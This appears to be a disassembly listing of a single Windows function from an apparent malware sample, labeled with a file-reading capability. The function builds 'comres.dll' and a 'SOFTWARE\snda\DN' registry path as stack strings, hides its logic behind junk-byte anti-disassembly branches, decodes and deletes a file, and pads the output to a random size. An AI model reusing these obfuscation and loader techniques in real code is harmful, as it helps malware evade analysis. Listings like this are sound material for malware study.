Function at 0x4070b5
Capabilities:
Read file on windows

Disassembly:
pop eax
pop eax
mov byte [ebp - 0x138], 0x63
mov byte [ebp - 0x137], 0x6f
mov byte [ebp - 0x136], 0x6d
mov byte [ebp - 0x135], 0x72
mov byte [ebp - 0x134], 0x65
mov byte [ebp - 0x133], 0x73
mov byte [ebp - 0x132], 0x2e
mov byte [ebp - 0x131], 0x64
mov byte [ebp - 0x130], 0x6c
mov byte [ebp - 0x12f], 0x6c
mov byte [ebp - 0x12e], 0
cmp eax, eax
je 0x40706d
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407075
in al, 0x1d
je 0x40707d
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebp - 0x1377b], cl
call dword [eax - 0x75]
dec ebp
jne 0xda01a9
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x401680
lea edx, [ebp - 0x10c]
push edx
call dword [fcn.004010ac]
or byte [ecx + 0x68], dl
adc byte [esi], 0x40
add byte [ebp - 0x10b6b], cl
call dword [edx - 1]
adc eax, fcn.004010ac
add esp, 0x10
jmp 0x4070ab
push eax
call 0x4070b5
je 0x407119
jns 0x40706d
pop eax
pop eax
call fcn.00405ae0
mov dword [ebp - 0x12c], eax
jmp 0x4070ca
push eax
call 0x4070d4
je 0x407138
jns 0x40708c
pop eax
pop eax
push 0
push 0x80
push 3
push 0
push 3
push 1
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x124], eax
push 0
push 0
push 0x30
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, eax
je 0x40711b
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407123
in al, 0x1d
je 0x40712b
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [edx], ch
jne 0xda0257
push 0
lea edx, [ebp - 0x128]
push edx
push 4
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 0
mov edx, dword [ebp - 0x114]
push edx
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 0x128]
push ecx
push 4
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, eax
je 0x407194
call dword [edx + 0x6a]
add al, 0x8d
test esp, ebp
invalid
add byte [ebx], bh
ror byte [edi], 0x84
or byte [eax], al
add byte [eax], al
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40719c
in al, 0x1d
je 0x4071a4
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx - 0x17ae03b3], cl
jecxz 0x4071c8
jne 0xda02d0
mov ecx, dword [ebp - 4]
push ecx
call sub.MSVCRT.dll_malloc
add byte [eax], al
add esp, 4
mov dword [ebp - 8], eax
add al, 0x89
inc ebp
clc
jmp 0x4071c1
push eax
call 0x4071cb
je 0x40722f
jns 0x407183
jns 0x407183
pop eax
pop eax
push 0
lea edx, [ebp - 0x128]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x4071f3
push eax
call 0x4071fd
je 0x407261
jns 0x4071b5
pop eax
pop eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00405f20
add esp, 8
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.00405f20
add esp, 8
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00405f20
add esp, 8
cmp eax, eax
je 0x40723f
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
invalid
je 0x407247
in al, 0x1d
je 0x40724f
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx - 0x74af03bb], cl
dec ebp
clc
jne 0xda037b
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00405f20
add esp, 8
mov edx, dword [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40727a
inc dword [ebx - 0x6a74f73c]
fdiv st(6), st(0)
invalid
push eax
call 0x407284
je 0x4072e8
jns 0x40723c
pop eax
pop eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004064a0
add esp, 0x10
mov dword [ebp - 0x120], 0
lea edx, [ebp - 0x120]
push edx
call fcn.00405b30
add esp, 4
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x120]
push eax
mov ecx, dword [ebp - 0x11c]
push ecx
lea edx, [ebp - 0x10c]
push edx
call fcn.00405d80
add esp, 0xc
mov eax, dword [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_free
add esp, 4
cmp eax, eax
je 0x407309
les ecx, [ebx + ecx*4]
test esp, esp
invalid
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407311
in al, 0x1d
je 0x407319
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add bh, bh
adc eax, sym.imp.KERNEL32.dll_GetTickCount
jne 0xda0445
call dword [sym.imp.KERNEL32.dll_GetTickCount]
and eax, 0x9fffff
add eax, 0x560000
mov dword [ebp - 0x118], eax
cmp eax, eax
je 0x407345
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40734d
in al, 0x1d
je 0x407355
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx], bh
ror byte [edi], 0x84
or byte [eax], al
add byte [eax], al
jne 0xda0481
cmp eax, eax
je 0x40736b
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407373
in al, 0x1d
je 0x40737b
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx - 0x11773], cl
call dword [ecx - 0x18]
or dword [esi], edx
add byte [eax], al
jne 0xda04a7
mov ecx, dword [ebp - 0x118]
push ecx
call sub.MSVCRT.dll_malloc
add esp, 4
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x118]
shr ecx, 2
mov eax, dword [ebp - 0x118]
shr eax, 2
mov edi, dword [ebp - 0x110]
mov edx, ecx
mov bl, al
mov bh, bl
mov eax, ebx
shl eax, 0x10
mov ax, bx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp - 0x118]
shr ecx, 1
mov eax, dword [ebp - 0x118]
shr eax, 1
mov edx, dword [ebp - 0x118]
shr edx, 1
mov edi, dword [ebp - 0x110]
add edi, edx
mov edx, ecx
mov bl, al
mov bh, bl
mov eax, ebx
shl eax, 0x10
mov ax, bx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
push 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 0x118]
add ecx, eax
and ecx, dword [ebp - 0x118]
push ecx
mov edx, dword [ebp - 0x110]
push edx
lea eax, [ebp - 0x10c]
push eax
call fcn.004062b0
add esp, 0x10
jmp 0x407437
push eax
call 0x407441
je 0x4074a5
jns 0x4073f9
pop eax
pop eax
mov ecx, dword [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_free
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [ebp - 0x17], 0x4f
mov byte [ebp - 0x16], 0x46
mov byte [ebp - 0x15], 0x54
mov byte [ebp - 0x14], 0x57
mov byte [ebp - 0x13], 0x41
mov byte [ebp - 0x12], 0x52
mov byte [ebp - 0x11], 0x45
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0xc], 0x61
mov byte [ebp - 0xb], 0x5c
mov byte [ebp - 0xa], 0x44
mov byte [ebp - 9], 0x4e
mov byte [ebp - 8], 0
cmp eax, eax
je 0x4074f5
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x4074fd
in al, 0x1d
je 0x407505
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebp - 0x72ae23b3], cl
push ebp
call 0x42dd68
add byte [eax + 0x112815ff], al
inc eax
add byte [ebp - 0x777af040], al
add byte [eax], al
add dh, al
inc ebp
aam 0x4c
jne 0xda0631
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x18]
push edx
push 0x80000002
call dword [0x401128]
test eax, eax
jne 0x4075ae
mov byte [ebp - 0x2c], 0x4c
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x61
mov byte [ebp - 0x29], 0x64
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [0x40111c]
mov edx, dword [ebp - 0x24]
push edx
call dword [0x401124]
jmp 0x407570
push eax
call 0x40757a
je 0x4075de
jns 0x407532
pop eax
pop eax
mov eax, dword [ebp - 0x20]
push eax
call fcn.00406010
add esp, 4
cmp eax, eax
je 0x407598
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x4075a0
in al, 0x1d
je 0x4075a8
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx + 0x5e5fe045], cl
jne 0xda06d4
mov eax, dword [ebp - 0x20]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc ebp
jmp 0xea863c53